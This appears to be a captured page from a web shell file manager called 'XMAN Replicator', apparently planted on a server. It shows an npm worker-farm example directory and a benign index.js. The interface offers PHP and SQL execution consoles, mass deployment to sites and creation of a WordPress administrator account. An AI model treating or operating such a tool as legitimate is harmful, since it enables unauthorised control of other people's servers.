🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
opt
/
alt
/
alt-nodejs8
/
root
/
usr
/
lib
/
node_modules
/
npm
/
node_modules.bundled
/
worker-farm
/
examples
/
basic
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2024-03-03 22:41
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2024-03-03 22:41
🔄
🗑️
🗑️📁
⬇️
🔒
child.js
113 B
-rw-r--r--
2021-09-28 10:29
✏️
🔄
🗑️
⬇️
🔒
index.js
287 B
-rw-r--r--
2021-09-28 10:29
✏️
🔄
🗑️
⬇️
🔒
Edit: index.js
'use strict' let workerFarm = require('../../') , workers = workerFarm(require.resolve('./child')) , ret = 0 for (let i = 0; i < 10; i++) { workers('#' + i + ' FOO', function (err, outp) { console.log(outp) if (++ret == 10) workerFarm.end(workers) }) }
Save
PHP Console
Execute
SQL Console
Execute